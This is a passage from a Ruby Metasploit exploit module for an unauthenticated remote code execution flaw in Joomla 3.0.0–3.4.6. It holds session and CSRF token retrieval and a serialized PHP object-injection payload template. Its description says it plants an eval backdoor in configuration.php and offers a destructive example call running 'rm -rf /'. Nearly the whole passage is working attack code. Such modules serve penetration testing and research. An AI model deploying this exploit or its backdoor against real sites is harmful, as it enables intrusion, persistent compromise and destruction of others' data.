The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter. That's because the exploit is more reliabale (doesn't rely on common disabled function). For this reason, use it with caution and remember the house cleaning. Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy }, 'Author' => [ 'Alessandro \'kiks\' Groppo @Hacktive Security', ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41'], ['URL', 'https://github.com/kiks7/rusty_joomla_rce'] ], 'Privileged' => false, 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'Targets' => [['Joomla 3.0.0 - 3.4.6', {}]], 'DisclosureDate' => 'Oct 02 2019', 'DefaultTarget' => 0) ) register_advanced_options( [ OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), ]) end def get_random_string(length=50) source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a key="" length.times{ key += source[rand(source.size)].to_s } return key end def get_session_token # Get session token from cookies vprint_status('Getting Session Token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) cook = res.headers['Set-Cookie'].split(';')[0] vprint_status('Session cookie: ' + cook) return cook end def get_csrf_token(sess_cookie) vprint_status('Getting CSRF Token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 'headers' => { 'Cookie' => sess_cookie, } }) html = res.get_html_document input_field = html.at('//form').xpath('//input')[-1] token = input_field.to_s.split(' ')[2] token = token.gsub('name="','').gsub('"','') if token then vprint_status('CSRF Token: ' + token) return token end print_error('Cannot get the CSRF Token ..') end def get_payload(function, payload) # @function: The PHP Function # @payload: The payload for the call template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values payload = 'http://l4m3rz.l337/;' + payload final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s) return final end def get_payload_backdoor(param_name) # return the backdoor payload # or better, the payload that will inject and eval function in configuration.php (in the root) # As said in other part of the code. we cannot create new .php file because we cannot use # the ?
